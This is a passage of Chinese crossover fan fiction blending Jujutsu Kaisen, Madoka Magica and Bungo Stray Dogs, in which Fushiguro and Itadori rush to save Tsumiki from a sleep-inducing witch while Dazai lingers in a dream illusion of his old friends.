五条悟无奈问道：“悠仁，你很想成为一名咒术师吗？” 虎杖悠仁的表情很失落，却还是没有犹豫地应道：“嗯。” 五条悟问道：“即使你祓除咒灵时会很危险，一个不小心就容易意外死亡，可能得非常辛苦才能解决并不强大的咒灵……这样也没关系吗？” 虎杖悠仁回应道：“在很久之前，成为咒术师的第一天起，我就做好了死亡的准备，当然也绝对不会害怕辛苦。” 五条悟继续问道：“可魔法少女那边的工作也很忙吧，有必要同时做两份艰苦的工作吗？” “有必要。” 虎杖悠仁一口应道，然后想了想，发自内心地说：“……我还是想要和大家继续做同伴，共同作为咒术师而一直前进。” 五条悟忽然扬起笑容，说道：“我知道了。” 第174章 “悠仁，我有个礼物要送给你。” 五条悟神秘地眨了眨眼睛，说道：“等到今天放学之后，来我办公室里取哦。” 虎杖悠仁被这突然转变的话题弄得愣了下，诧异道：“……哎？礼物？？” 夏油杰忽然想起来，恍然道：“哦，怪不得悟你今天突然拿个特级咒具过来，原来是早就想好了要送给学生，我就说你平常从来不喜欢用这些咒具……” “喂，杰！” 五条悟无可奈何地说：“真是的，搞得惊喜都没有了。” 他刚说完，就听见一句略带哽咽的声音，拖着调子道： “五条老师……” 回过头，他便看见了虎杖悠仁那双因感动而水汪汪的金色眼睛，里面闪烁着异常明亮的光芒。 五条悟轻咳了两声，说道： “咒力弱的人也不是没法祓除咒灵，只需要一点外力帮助而已。再说，悠仁你这几年的体能也进步得很夸张了，要继续好好加油哦。” “嗯嗯！” 虎杖悠仁拼命点点头。 这时候，上课的铃声又响了。 下节课的老师已经站在了教室门口，有点犹豫地看着里面的场景，不知道自己该不该进来讲课。 虽然现在夏油杰说是已经回到咒术师阵营了，甚至还在五条悟的帮助下入职了高专。 但是他之前的名声可是够差的，实力还是特级，所以现在其他人很难一时半会儿就对他放松警惕。 夏油杰倒也不在意这些，还顺便帮忙提醒道：“悟，我们也该走了。” 于是，五条悟向学生们挥挥手道：“那再见咯。” 出了教室走在外面，一路上都是熟悉的场景。 长长的石阶、布满绿苔藓的石制路灯、不远处高耸入云的四角古塔……似乎和多年前没什么差别，夏油杰恍惚间都有种回到过去了的错觉。 夏油杰感慨道：“高专这么多年也没什么变化呢。” 说着，他又想到刚才的场景，一言难尽地说：“不过，我倒是有点搞不清楚现如今的学生们都在想些什么了……” 五条悟饶有兴趣地问：“你是指什么？” “咒术师为什么要帮魔法少女的忙？他们到底是有多熟啊。” 夏油杰不解道：“为什么我刚才听起来，感觉像是……魔法少女的工作已经成为了他们的责任一样？” 五条悟忍不住笑起来：“你也感觉到了啊哈哈哈哈……” 夏油杰脚步顿了一下，茫然道：“悟？” 五条悟好不容易才止住笑，似是随意地说道：“杰，你相信男孩子也可以成为魔法少女吗？” 夏油杰：“……？！” 男孩子？魔法少女？？！ …… 经历了刚才的事情，虎杖悠仁和伏黑惠都暂且收回了心，认真地准备先上完这一节课。 不过，不知道为什么…… 伏黑惠却总是静不下心来，内心莫名地躁动着，有一种奇怪的不祥预感笼罩着他，怎么都挥之不去。 难道自己忽略掉了什么很重要的事情吗？ 不应该啊。 他忍不住回想了一下。 虽然确实还是很担心魔法少女背后隐藏的秘密，也对于虎杖咒力逐渐减退的情况感到愧疚忧虑…… 但是五条老师的帮助让他稍微安心了一点，觉得之后还是可以与虎杖作为咒术师一起前进的。 那为什么他现在心底比之前还要更加压抑与不安呢？ 伏黑惠抿了抿嘴。 话说，五条老师刚才说的那些话是不是有一点怪？ 为什么问虎杖考不考虑放弃成为咒术师，也不问问他能不能不去帮助魔法少女那边……明明以虎杖的身份来看，做咒术师的工作比做魔法少女的工作要名正言顺得多。 等等，五条老师不会已经猜到了他们的身份吧？？！ 这件事情如果让五条老师知道了，以对方的性格，还不清楚他和虎杖到时候会被怎样公开处刑…… 想想还真是一个恐怖故事。 但是…… 他是因为担心这个才觉得这么不安吗？ 伏黑惠还没想清楚具体原因，就听见下课铃响了，没什么收获的一节课又结束了。 他不由得有点心虚。 不过，伏黑惠没有选择先去借钉崎野蔷薇的笔记，而是因着一种莫名的冲动，依旧又将手机拿了出来。 刚打开手机，他就差不多猜到自己情绪不对劲的源头来自于哪里了。 ——有七通未接来电。 全都是来自伏黑津美纪的。 其中前三通来电都是打给禅院穗的那个手机号的，而后四通则是打给伏黑惠的手机号。 ……津美纪遇到危险了吗？ 伏黑惠心跳猛然加速，几乎是伴随着一阵剧烈的恐慌与不安，瞬间想到了这个糟糕透顶的可能性。 第175章 刚才不详的预感找到了征兆。 伏黑惠难以维持自己的理智，紧紧地攥住手机，手指不自觉得微微发颤，点了好几下才成功地重新把电话回拨过去。 要是由于他没接到电话的缘故，导致津美纪出了什么事故……他大概永远没办法原谅自己吧。 “嘟嘟嘟……” 等待电话接通的时间里，伏黑惠几乎度秒如年，非常煎熬地等候着。 电话在即将自动挂断的时候，终于被那头的人接起来了。 然而，伏黑惠还没来得及松一口气，就听到了对面那人的声音——不是津美纪。 一个陌生的女声响起，语气里充满了恐惧与紧张，小声地问道：“是伏黑君吗？” 伏黑惠立即道：“是我，你是谁？津美纪呢？！” “我、我是江尾向日，是伏黑津美纪的同学。” 电话那头的女声略显结巴又语无伦次地道：“她帮忙救了我，但是现在她却昏睡过去了。应该有魔女或使魔在这附近，好多好多人都晕倒了，一直醒不过来……” 伏黑惠打断对方的话，直接问到重点：“你们现在在哪里？” “就在学校教学楼、五号楼一层……” 江尾向日懊恼地说：“我记不清是哪个教室了，刚才太害怕了，伏黑同学拉着我随便找了个教室躲了进去。” 伏黑惠勉力使自己冷静下来，说道：“你们待在那里不要动，我马上就过去。” “啊？可是，这里很危险的。还是等魔法少女来解决会比较好……” 江尾向日还没劝说完，突然愣了一下，诧异地问道：“对了，你难道不在这附近吗？伏黑同学说你可能在这里，所以她才过来找你的……” 预曦正立Ａ 伏黑惠没太听懂对方的意思，不过现在也没时间问清楚了，他只想尽快赶到津美纪身边。 他再强调了一遍：“待在原地别动，我很快就到。” 说完，伏黑惠站起身来就往教室外面走。 钉崎野蔷薇和虎杖悠仁也听到了他刚才说的那些话，但却没听清电话另一头的人具体说了什么。 “伏黑，发生什么事了？” 伏黑惠完全没空跟他们解释，只丢下一句“帮我请个假”，便匆匆忙忙地出去了。 虎杖悠仁见状，也立刻跟了上去。 钉崎野蔷薇有点搞不清楚状况，但是见自己两个同学匆匆离开，她愣了一下，随即也选择跟过去看看能不能帮上忙。 虽然之前这两个家伙就总是请假，然后匆匆离开，但这次显然跟之前不一样，估计出了什么大事。 她加快步伐，从教室门出去。 “……呃？？？” 钉崎野蔷薇环顾四周，却完全看不到那两人的踪影。 “人呢？！！” 她忍不住脱口而出。 怎么回事？她就比他们晚了两秒出教室而已，他们怎么跟原地失踪了似的？！ 就这点时间差，不至于跑得这么快吧？ …… 伏黑惠和虎杖悠仁确实不是用常规方式离开的，这还要多亏了津岛曾经送给他们的书页。 这次事态紧急，伏黑惠没再像之前那样谨慎，直接一出教室门就拿出了书页使用。 幸好虎杖悠仁追得快，才跟着伏黑惠一起转移到了东京市中心一处存放书页的安全屋里。 “伏黑，到底怎么了？” 虎杖悠仁一边跟着对方快速赶路，一边询问情况。 伏黑惠简单解释：“我的姐姐在学校里遇到危险了，应该和魔女有关。具体情况我也还不清楚。” 虎杖悠仁：“是哪个学校？” 伏黑惠：“瑞庆综合大学。” 虎杖悠仁顺便拿出手机来查了一下，发现这个大学所处的区域，目前是由艾尔菲所负责的。 如果那里有魔女的踪迹，艾尔菲应该是最先知道的，说不定这个时候对方都已经赶过去进行处理了。 虎杖悠仁向艾尔菲发消息询问了一下情况。 可是，对方暂时并没有任何回复。 虎杖悠仁只能猜测到，艾尔菲可能是已经进入魔女结界了吧，那里面没法联网也是很正常的…… 往好的方向想，说不定等他们两个过去，就能发现艾尔菲已经解决掉了魔女呢。 …… 可惜，事情没有那么顺利。 伏黑惠和虎杖悠仁刚一抵达这所大学的大门口，就察觉到了浓郁的魔女气息，显然这次面临的是个危险的敌人。 有很多大学生正从门口往出赶，神色着急焦虑，就像是在逃命一样。 这种情况下，他们两人也就不用想着该怎么混进去了，直接便趁乱往里走。 只不过此刻大家都在想着赶紧出去，逆着人流往里走的两人还是显得格外突出。 有人想要拉住他们，但伸过去的手却被躲开了，那人担心地提醒道：“喂，同学！魔女已经波及到我们学校了，里面很危险——” 伏黑惠和虎杖悠仁就是因此而来的，当然不会害怕危险。 不过，如今比较冷静一些的虎杖悠仁从那人的话里听出了不对劲。 ……波及是什么意思？ 这魔女原先并不在这所学校吗？ 如果这魔女原先在别的地方，之后转移到这里、又或是扩大了所影响的范围，那就证明艾尔菲早就知道这件事了。 但是直到现在，虎杖悠仁也还是没能联系上她。 难道艾尔菲一直在魔女结界里，还没能够解决掉魔女吗？ 每个魔法少女都有着津岛赠送的书页。遇到无法应对的魔女时，她们可以选择使用书页离开结界。 所以，虎杖悠仁倒也觉得，艾尔菲大概没什么危险吧…… 或许只是因为这次的魔女比较棘手，以至于艾尔菲现在还在魔女结界里想办法解决掉它？ 第176章 按照江尾向日电话里所说的地点，伏黑惠和虎杖悠仁一路往西，靠近教学楼五号楼的方向。 刚开始走的时候，他们对这里还是生疏的，需要摸索着前进。 毕竟伏黑津美纪今年才刚上这所大学，伏黑惠也没进来过这学校几次。 但是走上一段路后，他们便慢慢明确了方向。 因为空中逐渐出现了悠然飘舞的洁白棉絮，刚开始看起来还只是零星点缀，但越往西边走，棉絮就越来越多、越来越密集。 周围被这些棉絮笼罩着，就像是在下一场不合季节的雪，显得格外奇异梦幻。 可是走着走着…… 伏黑惠明明心里是很着急想尽快找到津美纪的，前行的速度却不知为何逐渐慢了下来，莫名感到了无尽的疲惫与困意。 在听到身边的虎杖悠仁没忍住打了声哈欠后，伏黑惠忽然回想起了江尾向日刚才说的话。 他猛然一惊，困意都瞬间散去了几分。 ——江尾向日说过，津美纪昏过去了，还有其他很多人也是这样，一直醒不过来。 “绝对不能接触这些棉絮！” 伏黑惠立刻提醒道：“这会导致我们陷入沉睡。” 闻言，虎杖悠仁努力支撑住困得在打架的眼皮，也提起了警惕心。 好在东京高专的制服十分严密，他们只有手和脸部露在外面。 在他们格外小心注意的情况下，皮肤没有继续触碰到空中飞舞的那些棉絮，也就渐渐消减了刚才的困意。 到达五号楼时，虎杖悠仁抬头看了一下，脚步顿了下来。 “魔女应该不在这栋楼里……根据气息来看，顶多有使魔跑进这里了。” 虎杖悠仁在四周仔细观察了一下，然后指向不远处的学校围墙，推测道： “魔女结界应该在那附近，估计最开始影响的大多是围墙外那边的路人或商贩。然后随着时间的推移，影响范围才会扩大到这里。” 这个推测可以合理解释方才那个大学生所说的“魔女已经波及到我们学校了”。 但是，伏黑惠没有过多在意这些。 他毫不犹豫就往面前的楼里走，说道：“我必须得先去找津美纪才行。” 伏黑惠会愿意无偿帮助无辜的民众，但是他一直以来都更希望选择性地保护那些善良的人，更别提如今遭遇危险的是自己最重要的家人。 他不能再让津美纪遭受伤害了。 三年前让津美纪沉睡的诅咒事件绝对不能再发生一次。 虎杖悠仁迟疑了一下，不放心伏黑惠这个状态，便决定跟着对方先去面前这栋楼看看情况。 这栋楼里面也有着非常多四散的棉絮。 许多的大学生倒在地上、桌椅上沉沉地睡着，看起来没有任何伤势，甚至他们不少人脸上还带些许笑意，就像是在做一场安稳的美梦。 但处于这个状态下，只会让人觉得诡异又吓人。 “呼呼……呼……” 低沉的打呼噜的声音在四周回响。 伏黑惠和虎杖悠仁本来还先入为主，下意识觉得这是周围昏睡的人们发出的动静。 但是，这声音很快便越来越大……显然这声音的主人正在逐渐靠近这里。 他们两个摆出准备作战的架势，可是心里却有点犯难。 以魔法少女的姿态战斗一般都是最稳妥的，然而变身就意味着服装会瞬间变化为裙子，他们会很容易触碰到周围众多的棉絮，从而同样昏睡过去。 如果提前将自己这一身严密的学校制服脱下，在变身后穿上去倒也勉强可以。 但是时间已经来不及这么做了…… 伏黑惠和虎杖悠仁看向前方。 一个巨大的、几乎要将楼道填满的大型枕头出现在了那里。 是使魔。 除了实在太过庞大之外，它看上去和其他正常枕头没什么差别，就是一个没有花纹的纯白色枕头。 不过，它在楼道里艰难前行着，一直拖着自己的身躯……这导致洁白的布料被弄脏了，甚至出现了不少磨损，从其中不断地落出许多棉絮。 如果再这样继续下去，估计它迟早会被磨损得彻底散架。 可是，这只使魔仍毫不在意地往前挪动着，打呼噜的声音始终响着，就像是在梦游一般。 这种现象怪异极了。 但伏黑惠和虎杖悠仁作为魔法少女，这两年多来见过的古怪魔女使魔也多了去了，如今已经能够做到见怪不怪。 伏黑惠想了想，做出召唤的手势并喊道：“玉犬！” 随即，一黑一白两只玉犬便从他背后的影子里显现了出来。 在暂时不方便变身的情况下，他只能寄希望于用咒术来解决了。 幸好，面前的仅仅是一只并不算强的使魔而已。 第177章 随着主人的命令，两只玉犬一前一后地张开獠牙伸出利爪，朝着面前的使魔扑了上去。 伏黑惠这么做只是先试探一下，没想着这么轻松就能解决掉对方。 可是，直到玉犬的利爪穿透枕头使魔的身体后，对方仍然没有表现出要攻击的意图，只是身体瘪了下来，呼噜声骤然中止…… 仿佛就这样死了一样？？？ 伏黑惠愣住了。 虽说这只是使魔，但是未免也太过脆弱了吧。 刚才几乎是玉犬的爪子刚碰到对方，对方的表面便出现了破损，弱得和真正的普通枕头应该没什么两样。 不过，下一秒…… 数不清的棉絮从使魔的躯壳中掉落下来，宛如雪山倾倒。 伏黑惠和虎杖悠仁猛然一惊。 以这种架势来看，如果他们不立刻采取什么有效措施，估计马上就会被这些棉絮压在底下，然后彻底睡死过去。 “鵺——” 关键时刻，伏黑惠及时做出了反应，召唤出了巨大的猫头鹰式神。 鵺凭空出现，张开宽大的翅膀，将他们两人紧紧拥在身下。 他们也保护着自己裸露出来的那部分皮肤，尽量不沾染到任何棉絮。 半晌后。 周围疯狂飘舞的棉絮渐渐安稳了下来，大半沉在了地上，只有小部分还轻轻地飘浮在空中，但密度已经不再像刚刚那么夸张。 伏黑惠让鵺小心翼翼地抬起了翅膀，使他们可以重新看清四周的一切。 眼前的危机应该算是暂且解决了。 虎杖悠仁感到庆幸，要是没有伏黑的式神，那他们就没办法这样顺利地度过刚才的危机了。 也不知道艾尔菲如今的情况怎么样…… 伏黑惠则更担心津美纪的情况了，他立刻拨打了电话。 江尾向日很快接通了，声音比先前的还要哽咽、畏缩，一出声便是忍不住向着比自己年纪小的同学弟弟哭诉道： “我听到外面有很可怕的声音，肯定有怪物……为什么魔法少女还没有解决，这样下去，我们会死的……” 伏黑惠说道：“没事的，我已经到了。” 他沉稳镇定的声音能给人很大的安慰。 江尾向日的心不由得没那么慌了，但她又忽地一愣，不可思议道：“你、真的到了？可是外面的其他人都晕了，这里很危险……” 伏黑惠的听觉比常人强很多。 拨通电话的时候，他就听见了某个方向微弱的响铃声音。 于是，他一边跟电话里的人说话，一边就在和虎杖往那边方向前进。 江尾向日以为伏黑惠最多只是到达了这所大学，还在担心他的情况，处于一种既希望获救、又觉得对方肯定没办法救出她们的非常纠结的情绪。 没成想，很快就听到这间教室的门被打开了。 比起伏黑惠，她更猜疑这是可怕的怪物，吓得只是躲在角落瑟瑟发抖。 直到听见了逐渐靠近的脚步声，江尾向日才不安地小声问道：“伏黑君？” 伏黑惠应声：“是我。” 但江尾向日用外套盖着头，仍旧没敢抬头看对方。 她尽力在用这样少的布料遮住自己和昏睡过去的伏黑津美纪，害怕自己因接触到什么东西而陷入沉睡。 江尾向日还没忘提醒伏黑惠道：“空气中有看不见的东西，不能将皮肤裸露出来，否则就会中招的。” 伏黑惠：“没关系，已经没事了。” 普通人看不到使魔，也看不到咒力。 但他看得见，刚才便悄悄指使自己的式神行动，让它们清除掉了这间教室里并不多的棉絮。 江尾向日还有点犹豫，但伏黑惠却伸手拉开了她盖在头上的外套，担心地去看与她靠在一起的伏黑津美纪的情况。 津美纪睡得很熟，安静地躺在那里一动不动。 她的样子很放松，看着没什么事情，只是在做一场能令人放松的美梦似的。 “津美纪？津美纪……” 伏黑惠尝试想要叫醒她。 但对方始终合着眼，没有任何反应。 ……这一幕似曾相识。 三四年前，伏黑津美纪也是这个样子，中了不知名的诅咒后在病床上一躺就是一年多。 区别在于，当时对方的脸色要更加苍白，额头上还有诡异的血红色咒纹。 忽然间，伏黑惠神情僵住。 他的目光紧紧地锁定在了津美纪的脖颈处。 那里有红色的什么印记，被对方的黑色发丝遮挡住，所以看不真切。 伏黑惠感到难以呼吸，胸口一阵一阵的刺痛。 不知道犹豫了多久，他才伸手小心地整理了一下对方的发丝，将那个印记完全露出来。 ——又是诡异的血红色印记。 只不过这次的不是咒纹，而是‘魔女之吻’，是魔女给普通人留下的标记。 可是这又有什么区别？ 伏黑惠恍惚间，只觉得回到了过去，这经久的时间仿佛从来不曾存在过，津美纪也似乎一直都这样沉睡着，从来没有醒来过。 ……为什么又是这样？ 为什么过了这么久，津美纪还是和以前一样受伤了，而他却仍旧没保护好对方、没能阻止这一悲剧的发生？ “伏黑……” 虎杖悠仁担心地看着他，安慰道：“别太担心，她一定能醒过来的。” 伏黑惠低垂着头，声音微哑地应了一声：“嗯。” 还是可以再度唤醒津美纪的。 他们有着足够的经验，知道只需要杀死相应的魔女，中了魔女之吻的人就会恢复正常。 想到这里，伏黑惠深呼吸了几下，强行使自己打起精神来。 他不能放任自己被负面情绪压倒。 现在还不是灰心丧气的时候。 第178章 “虎杖，能留下来帮我照看一下我的姐姐吗？” 伏黑惠目光移向虎杖悠仁，请求道：“我不放心她现在这个样子。” 但是，虎杖悠仁同样也不能放心伏黑惠：“你想要一个人过去？以现在的情况来看，这太危险了……” 伏黑惠语气固执地道：“不会有事的，我可以用刚才的方法过关。” 虎杖悠仁不知道该怎么劝说了。 对方明显下定了决心，理由也比较正当，可以用式神帮忙遮盖住那些飞舞的棉絮。 可是想到现在还没有消息的艾尔菲，虎杖悠仁心里就有些不安，总觉得自己不能放任伏黑惠一个人冒险。 他努力想着劝说的办法。 而一旁的江尾向日先忍不住开口道：“伏黑君是想要去魔女的结界吗？” 虽然伏黑惠和虎杖悠仁已经在极力隐瞒，但是想要糊弄过去实在太难了，江尾向日还是意识到他们两个不像是普通人。 她犹豫地说：“这次的魔女应该很难对付，听说有个魔法少女已经进入结界很久了，却还没有解决。应该很快就会再有别的魔法少女过来处理了，我们再等等吧。” “不能再等了。” 伏黑惠也猜到，艾尔菲可能遭遇了危险。说不定她没来得及使用书页，就先中招晕倒了。 这样的话，他就更得赶紧过去帮忙了。 他有着式神可以帮忙，而虎杖只擅长近战攻击，再加上他又不能放心津美纪的安危…… 所以当然还是由他一个人过去比较好。 这些事没办法跟江尾向日解释，伏黑惠顿了顿，然后准备先直接离开。 “可是，伏黑君——” 看着对方要去冒险，江尾向日着急地劝阻道： “津美纪同学就是因为担心你才会来这里、才遇到危险的。要是你再出什么事情，她一定会很难过自责的！” 伏黑惠愣了下，一时间有些思考不过来。 “……担心我？” 津美纪为什么要担心他？ 明明津美纪知道的，他这个时候应该在学校安安稳稳地上课，哪里需要担心了。 “是啊。”江尾向日解释道：“津美纪同学告诉我，她的弟弟可能来了这里。她不放心他，想过来找找。” 伏黑惠心底的某一处被触动了，隐约察觉到了什么，有些说不出话来。 江尾向日愧疚地继续道： “所以在这里的人一个个莫名倒下的时候，来得及逃的几乎都逃走了，胆子小的……就躲在角落里。” “而津美纪同学却主动进入了这栋楼，是她猜到只要不裸露出皮肤就不会有事，是她帮我披上了外套的……” 伏黑惠沉默着。 这一切的线索连成了线，让他明白了。 ……原来姐姐已经知道了啊。 要不然她不会先给禅院穗打去电话、后面则都是给伏黑惠打电话，也不会听说有某个魔法少女困在结界里很久、就不放心地跑到这种危险地方，更不会无缘无故地说自己的弟弟可能来到了这里…… 但津美纪是什么时候知道的呢？ 伏黑惠无法追溯过去，不知道自己到底是哪里露出了破绽，让津美纪能够确定这种匪夷所思的事情。 不过，仔细想想…… 津美纪能够猜到也很正常，毕竟他们是彼此最重要的家人，怎么会一直认不出来呢。 伏黑惠忽然控制不住地去想。 如果他不是魔法少女的话，津美纪就不会因为这种事情而遭遇危险了吧。 但那样，津美纪可能直到现在也依旧无法醒过来。 当初签订契约许下的愿望虽然实现了，可荒谬的是，两三年后津美纪竟然会因为他的契约而再次沉睡过去。 这究竟算什么？ 他抿紧了唇，突然又快步往外走去。 江尾向日都以为他听进去劝了才停下来，没想到对方还是决定要去冒险，不解地喊道：“伏黑君？！……” “我必须要让津美纪醒过来，否则……” 伏黑惠话说到一半停了下来，接着便直接走了出去。 在没有人看到的地方，伏黑惠变身成了少女的模样。 他从这栋楼离开前，随便取走了一个教室里的窗帘，将其简单地弄成一个长款的斗篷，尽可能遮住自己全身。 这个准备稍微花费了他一点时间。 随后伏黑惠便顺着灵魂宝石的指引，到达了魔女结界的具体位置。 “伏黑！” 然而他身后却突然传来熟悉的声音。 伏黑惠诧异回头，看到了也将自己装备得很严实的虎杖悠仁。 ——才一会儿功夫没见，对方也变身并将自己裹得很严实了，甚至都戴上了防毒面具，把不方便遮掩的面部都挡好了。 虎杖悠仁将手上的另一个防毒面具递过去。 “别担心，我把她们送到了我们的一个安全屋里，不会有事的。我身上的这些也是在安全屋里取的，幸好有津岛的书页。” 虎杖悠仁语气较轻松地道： “作为同伴，我们还是一起去解决掉那个魔女吧。” 这样的表现很容易令人感动。 伏黑惠张了张口，还没来得及应下来。 就有意料之外的人突然出现在她们旁边，打断了她们的交流，还扫兴地道： “根据先前商量过的流程来看，现在还不该你们来解决这次的魔女。” 伏黑惠和虎杖悠仁没能想到，找寻了这么久却始终无果的朔夜，此刻居然主动出现在了她们面前。 但偏偏现在，她们没空追问灵魂宝石和魔法少女隐藏的秘密。 “朔夜前辈……”虎杖悠仁犹豫了下，说道：“可是，艾尔菲她应该是遇到了麻烦，所以现在还没从结界里出来。我们当然应该去帮忙，不是吗？” 朔夜对着伏黑惠道：“我以为，需要帮助的是你。” 虎杖悠仁注意到，朔夜的视线微微抬起，望着禅院穗作为发饰的灵魂宝石。 等等…… 虎杖悠仁记得，伏黑惠是昨天才刚使用的悲叹之种吧。 到目前为止，对方也没有怎么过度使用魔法。可是为什么灵魂宝石会污浊得如此之快？！ 这是以前从来没有发生过的事情。 虎杖悠仁心里升起不妙的预感。 伏黑惠却不以为然，不想跟朔夜多做纠缠：“我能有什么事，眼前的魔女才是最重要的。你让开，我要进去了。” 朔夜仍旧挡在结界入口处，没有挪动半点脚步。 “我会解决这次的魔女。”朔夜顿了顿，说道：“……不需要再有更多的魔法少女掺和进来。” 朔夜的实力还是挺能让人信服的。 但是这次不同往日，在伏黑津美纪没有平安苏醒过来之前，伏黑惠不管怎样都不会停下来的。 “可我必须进去。” 第179章 “这是没有意义的行为，你们就算进去也派不上用场。” 朔夜平静地说道： “在艾尔菲进入结界数个小时没有消息之后，津岛随即也进入了这个结界，却没能将艾尔菲快速带出来。” “她们一个拥有改变物质材料的能力、可以将这些棉絮变得成别的无害的材料，一个拥有长距离位移能力，至今却仍旧还被困在结界里。” “换作是你们进去，也只会陷入一样的处境，给人添麻烦而已。” 之前遇到过于棘手的敌人、而她们的实力还不够时，朔夜也总会做出合理的判断，用不加以修饰的语言阻止她们。 伏黑惠以为自己早就习惯了对方几乎从来没有好听过的话语。 但没想到这个时候，伏黑惠还是觉得难以忍受。 为什么呢？ ……是因为对方说的是真话吗？ 可是，伏黑惠无法接受这点。 当时自己之所以答应与丘比签约，就是不想一直那样无能为力下去，希望有能力保护自己重要的人…… 看着面前黑发绿眸的少女固执地站在那里、没有吭声，戴在头上的灵魂宝石仍在慢慢被染黑。 伊江朔久虽然挂念着结界里的那两人，但还是不放心现在就进去。 否则，总感觉自己进去之后，禅院穗就会毫不犹豫地跟过来。 而对方这个不冷静的状态根本不适合战斗。 伊江朔久想了想，放弃了继续劝说对方，选择转过视线对虎杖悠仁说道： “悠衣，你拦住禅院穗，别让她进入结界。” 虎杖悠仁愣了一下，惊讶道： “啊，我吗？” 没想到朔夜会突然对她说这个，语气还一副理所当然的样子，就像是肯定她会同意似的。 从表面上来看，不应该是悠衣和禅院穗目前站在一队吗？ “嗯。”伊江朔久应了一声，将一颗悲叹之种抛向虎杖悠仁。 虎杖悠仁下意识地接住。 伊江朔久说道：“将这个给她用，不要让灵魂宝石彻底变黑。” 虎杖悠仁疑惑地问：“为什么？” “等我出来后，会给你们解释的。” 伊江朔久用一种郑重的语气道：“总之，你现在必须看好她，不能让她进去冒险。否则可能会发生很不好的事情。” 虎杖悠仁迟疑道：“什么事情？” 伊江朔久没有回答，只是反问道：“你能做到吗？” 禅院穗擅长治疗、速度灵敏、恢复能力快，相应的在攻击力这方面只能算是中等水准。 而只擅长近战的悠衣伤害力自然很高，挡在结界入口处阻拦禅院穗进去肯定是没问题的，只需要看她愿不愿意。 事情发生得有点快，伏黑惠不解地看看朔夜，又看看虎杖悠仁，心里的疑问都快要具象化了：“？” 虎杖悠仁还是顺应自己的直觉而答应下来：“……好吧，我知道了。” “虎、悠衣？！” 伏黑惠差点都直接喊出了对方的名字，不可置信地问：“你在想什么啊？为什么要听她的？” 虎杖悠仁感到不好意思地说：“我们还是等一等吧，我相信朔夜能够解决这次的魔女的……” 既然虎杖悠仁答应了，伊江朔久便也暂时先放下对伏黑惠的担心，转身走进了结界之中。 虽然能够感知到艾尔菲和津岛暂时还没出什么事情，但是长久地被困在魔女结界里，肯定总是存在危险的。 …… 不久前，魔女结界里。 太宰治清楚地知道自己目前的处境，也记得之前发生了什么事情。 但即使如此…… 看着Lupin酒吧里熟悉的陈设，听着熟悉的旋律悠扬的轻音乐，面前摆放着自己常喝的那款酒…… 太宰治还是觉得有点恍惚，不可避免的被这样的氛围所感染。 更重要的是……旁边还坐着自己熟悉的两个友人。 ——织田作之助与坂口安吾。 太宰治有很长一段时间都没怎么跟他们两个见面了。其实就算见面，彼此之间能聊的话题也没有之前那么多。 由于世界线自我修复收束的缘故，他们三个如今都变得有点陌生了。 但是，现在不一样。 现在出现在太宰治面前的两个友人完全是过去的样子，看上去都年轻了几岁，说话的语气态度非常自然。 “你在想什么呢？太宰。” 坂口安吾忍不住问道：“今天你的话可比往常少多了，是发生了什么事情吗？还是因为工作太过忙碌辛苦？” 太宰治低头看了看自己的衣服。 明明进来前还是变身状态，但现在他却穿着过去的那件黑色大衣，一套很符合黑手党气质的装扮。 就连体型也缩小到了当年十七八岁的样子。 太宰治默默地平复了下心情，装作正常的样子，随口道：“我能有什么事情。” 坂口安吾不太相信地道：“是吗？可是你明明不太对劲。” 织田作之助也点点头，用一种熟稔的语气说道：“太宰确实不太对劲。” 听着这样熟悉的语气、关心的话语，太宰治有些说不出话了，更不知道该用怎样的方式面对他们。 这是魔女制造的幻境。 他清楚地知道这一点。 他知道自己不可能莫名其妙地突然来到这里，织田作和安吾不可能变得这样年轻，还像以前那样跟自己闲聊…… 更何况，他两年前就曾和禅院穗一起误入过这样类似的幻境，已经有了经验才对。 但是…… 太宰治却有点想要就这样沉溺其中。 这是多么美好的一场梦啊，谁能够忍心打破它呢？ 怪不得他进入结界之前，看到的那些陷入沉睡的人脸上的神情是那样放松。每个人都安稳地做着美梦，没有人挣扎着想要醒来。 这是太宰治至今为止找到的最美好无痛的死亡方式。 为什么不接受它呢？ 黑发鸢眼的少年笑了起来。 织田作之助和坂口安吾觉得这样的太宰治既熟悉又陌生，不由得有点愣神。 “我只是有点喝醉了而已。” 太宰治拿起了面前的酒杯，一饮而下，然后说道：“除此之外没什么事哦。我很好，非常好，再也不会比现在更好了。” 他身旁两人沉默了好一阵。 随后，坂口安吾再次出声道：“果然是醉了，太宰都开始说胡话了。” 织田作之助认同地说：“是啊，太宰现在和平常完全不一样。” “哪里不一样了？”太宰治笑着主动问道：“感觉我比以前更成熟了？” 面前十七岁的少年看着确实不对劲。 就像是经历了很多事情的灵魂，回到了自己过去的躯壳里一样，让熟悉他的人感到了一些违和感。 织田作之助心里莫名有些担忧。 虽然坂口安吾同样也有这样的感觉，但还是平静自然地吐槽道：“不，感觉你比以前更幼稚了。” 第180章 太宰治不满地撇撇嘴：“哪有。” 都过去了七年的时间，他绝不承认自己比当年要更加幼稚。 织田作之助在心底思索了一段时间，结合自己收养的那些孩子的情况，猜测对方异常的可能性，好不容易终于想到了一个合理的可能性： “太宰，你是和朋友们闹矛盾了吗？” “朋友？”太宰治琢磨了下这个词汇，反问道：“我们最近有什么矛盾？” 坂口安吾扶额：“当然不是指我们啊。” 太宰治难得有点事情脱出掌握的感觉了。 七年前，他十七岁，在港口黑手党工作，手上沾满了血腥，做过的罪行记录成卷垒起来能比自己还高。 当时能接触到的大多数人都害怕着他，或对他敬而远之。他能交到织田作和安吾这两个朋友就已经不容易了。 从哪里能交到其他朋友们呢？ 太宰治推测出，这幻境是根据自己过往的记忆所构建出来的。所以幻境里的一切都显得那么真实熟悉，让人怀念难舍。 但是，他过去哪里来的什么其他朋友？记忆里完全没有这一茬吧？ 太宰治默了默，问道：“我有别的朋友吗？” “竟然已经醉到这种程度了吗？” 坂口安吾难以置信。 可是明明看不出来太宰喝了很多酒的样子啊，对方甚至脸还没怎么红，却居然跟失忆似的那么奇怪。 “中原君不就是你的朋友吗？” 听到这样的话，太宰治心里突然升起一种莫名的感受，说不清是因为自己的误解而松了一口气，还是感到有点失望。 他慢一拍地反应过来，然后才马上辩解道： “才不是！我怎么会跟黑漆漆的暴力狂做朋友？我们互相讨厌还来不及呢。” 坂口安吾一副完全不信的样子：“那你们怎么总是待在一起？” 太宰治抱怨道：“那是工作！都怪森先生，总说什么钻石要用钻石来打磨的话，真是麻烦死了。” 坂口安吾狐疑地说：“可是，你们工作之外也经常联系吧？就像是有共同秘密一样，有时候会说些别人听不懂的暗号，有时候还会莫名其妙地一起失踪……” “有吗？” 